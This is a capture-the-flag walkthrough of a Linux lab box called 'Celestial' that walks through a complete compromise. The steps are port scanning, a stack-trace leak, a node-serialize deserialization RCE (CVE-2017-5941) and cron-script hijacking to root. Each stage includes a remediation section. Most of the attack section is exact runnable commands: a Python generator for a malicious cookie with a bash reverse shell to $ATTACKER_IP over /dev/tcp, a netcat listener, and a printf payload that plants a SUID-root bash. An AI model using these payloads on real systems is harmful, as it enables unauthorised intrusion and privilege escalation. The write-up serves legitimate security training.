← all walkthroughs

Celestial

Linux· Medium
owned
2026-07-08
time to own
6m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

A Node.js/Express application exposed on port 3000 issued a base64-encoded JSON 'profile' cookie that the server passed to the insecure node-serialize library on every request. Submitting a malformed cookie triggered a full Node.js stack trace in the HTTP response, confirming the deserialization code path (CVE-2017-5941) and disclosing the OS username 'sun' from the library's filesystem path.

A forged cookie embedding a self-invoking JavaScript function executed a reverse shell as 'sun', immediately yielding the user flag. Local enumeration then revealed that a Python script owned and writable by 'sun' in her home directory was executed by root's cron daemon every one to two minutes; overwriting the script with a two-line payload that copied root's flag and dropped a SUID-root bash binary delivered full system compromise within one cron cycle.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconNetwork port scanning (T1046)
Identified a single exposed service — Node.js/Express on port 3000
A full TCP port scan against the target returned a single open port — 3000/tcp. An initial HTTP request to that port returned the response header X-Powered-By: Express, identifying the runtime as Node.js and establishing the complete external attack surface.
3000/tcp open ppp; X-Powered-By: Express
Exact commands 2
Full TCP scan; replace the IP with the current target address if it changes.
nmap -p- --min-rate 2500 -T4 -Pn $TARGET
Confirm the Express banner and capture the Set-Cookie header containing the base64 'profile' cookie.
curl -s -i http://$TARGET:3000/
2EnumerationApplication error disclosure — stack-trace leak (CWE-209)
Triggered a stack-trace error confirming node-serialize and disclosing the service-account name
The application set a 'profile' cookie containing base64-encoded JSON with four fields: username, country, city, and num. Sending an intentionally invalid base64 value caused the unhandled exception handler to return the complete Node.js stack trace in the HTTP response body, naming the node-serialize library at the path /home/sun/node_modules. This simultaneously confirmed the CVE-2017-5941 insecure-deserialization attack surface and disclosed that the web process ran as OS user 'sun'.
SyntaxError: Unexpected token i ... At Object.exports.unserialize (/home/sun/node_modules
Exact commands 1
Send an unparseable cookie; read the Node.js stack trace in the response body for the library path and the username.
curl -s -i http://$TARGET:3000/ -H 'Cookie: profile=INVALIDBASE64!!!'
FixDisable verbose stack traces and internal paths in HTTP error responsesMedium
WeaknessThe application returned full Node.js stack traces — including the names of internal libraries, filesystem paths, and the OS service-account username — in HTTP responses whenever an unhandled exception occurred. A single malformed request gave an unauthorised user a confirmed map of the exploit vector before attempting anything destructive.
FixSet the environment variable NODE_ENV=production, which causes Express to omit internal stack traces from default error responses. Implement a custom four-argument error-handling middleware (err, req, res, next) that writes the full error detail to a server-side log file and returns only a generic HTTP status code and user-facing message to the client. Audit all async code paths and unhandled promise rejections to ensure they flow through this handler rather than bypassing it.
3ExploitationInsecure deserialization — node-serialize CVE-2017-5941 (T1059.007)
Delivered a node-serialize RCE cookie and received a reverse shell as 'sun' (CVE-2017-5941)
The node-serialize library evaluates JSON values prefixed with _$$ND_FUNC$$_ as executable JavaScript during deserialization. A forged profile cookie was constructed containing a self-invoking anonymous function that called Node's child_process.exec() with a bash reverse-shell one-liner directed at my listener. The application deserialized the cookie on the next request without any integrity check, executing the payload as uid=1000 (sun) and delivering an interactive shell.
Reverse-shell callback received on port 4444; id confirmed uid=1000(sun) on host celestial.
Exact commands 3
Start the reverse-shell listener on my machine before sending the payload.
nc -lvnp 4444
Generate the base64 RCE cookie; replace $ATTACKER_IP with your $ATTACKER_IP. Copy the printed string.
cat > /tmp/mkpayload.py <<'PYEOF'
import base64, json
cmd = 'bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"'
js = "_$$ND_FUNC$$_function(){require('child_process').exec(" + json.dumps(cmd) + ",function(){});}()"
payload = base64.b64encode(json.dumps({'username':'Dummy','country':'x','city':'y','num':'2','rce':js}).encode()).decode()
print(payload)
PYEOF
python3 /tmp/mkpayload.py
Send the forged cookie; substitute <base64-payload> with the output of the previous step. The netcat listener should catch the shell.
curl -s -i --max-time 15 http://$TARGET:3000/ -H 'Cookie: profile=<base64-payload>'
FixReplace node-serialize with safe JSON parsing and protect the cookie with a server-side signatureCritical
WeaknessThe application used the node-serialize library to deserialize the user-controlled 'profile' cookie. node-serialize evaluates embedded JavaScript function literals during deserialization, so any visitor who can modify the cookie value can execute arbitrary OS commands as the web-server process — with no authentication required.
FixRemove node-serialize. Use JSON.parse() combined with strict schema validation (e.g., zod or ajv) that accepts only the expected fields and types and rejects anything unexpected. Never use a deserialization library that executes code at parse time on untrusted input. Additionally, sign the session cookie with a server-held secret key using express-session or cookie-signature so that client-side tampering is detected and rejected before the value is processed.
4FootholdLocal file read post-exploitation
Confirmed shell context on the target and captured the user flag
The reverse shell landed as user 'sun' (uid=1000) on host 'celestial'. Confirming the hostname and user identity proved the shell ran on the target — not my own machine. The user flag was immediately readable from /home/sun/user.txt.
UserFlag captured; id/hostname confirmed uid=1000(sun) on celestial.
Exact commands 2
Confirm context — hostname should be celestial and user should be sun, not my own machine.
id; whoami; hostname; pwd
Read the user flag; captured value is <user.txt>.
cat /home/sun/user.txt
5Privilege EscalationCron job abuse — writable scheduled script (T1053.003)
Found a user-writable Python script executed by root's cron job every one to two minutes
A sweep for files writable by the current user returned /home/sun/Documents/script.py. The companion output file /home/sun/output.txt — written by that script — had its modification timestamp refreshed by root roughly every one to two minutes, confirming an unattended root-owned cron task executing a user-controlled script on a fixed recurring schedule. This is the classic writable-script-in-root-cron privilege-escalation pattern.
Ls -la confirmed script.py writable by sun; output.txt mtime updated by root every ~60-120 seconds.
Exact commands 3
List all files writable by the current user; /home/sun/Documents/script.py will appear.
find / -writable -type f -printf '%m %u %g %p\n' 2>/dev/null | grep -v /proc | grep -v /sys
Confirm permissions on the script and observe output.txt's mtime — it updates each cron cycle.
ls -la /home/sun/Documents/script.py /home/sun/output.txt
Read the current script to understand what root is executing and confirm sun controls the file.
cat /home/sun/Documents/script.py
FixRemove write access to any file or script executed by a privileged scheduled jobCritical
WeaknessA Python script owned and writable by user 'sun' was executed by root's cron daemon on a recurring schedule. Anyone who gained a shell as 'sun' could replace the script with an arbitrary payload and have it run as root within one to two minutes, with no further exploitation required.
FixAudit all scheduled tasks (sudo crontab -l, /etc/cron.d/, /etc/cron.daily/, /var/spool/cron/crontabs/) and for every executed file verify: (1) the file is owned by root; (2) permissions are 750 or stricter with no write bit set for any non-root account; (3) the directory containing the file is likewise non-writable by unprivileged users. Run scheduled tasks as a dedicated least-privilege service account rather than as root wherever the task does not require elevated access.
6RootCron script hijacking leading to SUID bash persistence (T1053.003, T1548.001)
Hijacked the cron script to run as root, dropped a SUID bash binary, and captured the root flag
The original script.py was backed up with a timestamped filename, then replaced with a two-line Python payload: one os.system() call copied /root/root.txt to a world-readable location in sun's home directory, and a second installed a SUID-root copy of bash at /tmp/rootbash. A polling loop waited for the next cron cycle. After approximately 60-120 seconds both artifacts appeared on disk, confirming root code execution. The root flag was read from /home/sun/root.txt; the SUID binary provided an alternative interactive root shell. The original script and all artifacts were restored and removed to leave the system clean.
Polling loop confirmed ls -l /tmp/rootbash showed -rwsr-xr-x root root; cat /home/sun/root.txt returned the root flag.
Exact commands 6
Back up the original script before overwriting.
cp /home/sun/Documents/script.py /home/sun/Documents/script.py.bak.$(date +%s)
Overwrite script.py with the root-execution payload; printf interprets \n as newlines.
printf 'import os\nos.system("cat /root/root.txt > /home/sun/root.txt")\nos.system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash")\n' > /home/sun/Documents/script.py
Poll up to 90 seconds for the cron job to fire; confirm the flag file and SUID bash appear.
for i in $(seq 1 45); do if [ -s /home/sun/root.txt ] || [ -u /tmp/rootbash ]; then break; fi; sleep 2; done; ls -l /home/sun/root.txt /tmp/rootbash 2>/dev/null
Read the root flag from the world-readable copy; captured value is <root.txt>.
cat /home/sun/root.txt
Alternative: use the SUID bash to read the flag directly from /root/root.txt.
/tmp/rootbash -p -c 'cat /root/root.txt'
Restore the original script and remove all artifacts.
cp /home/sun/Documents/script.py.bak.* /home/sun/Documents/script.py; rm -f /tmp/rootbash /home/sun/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

3000/tcp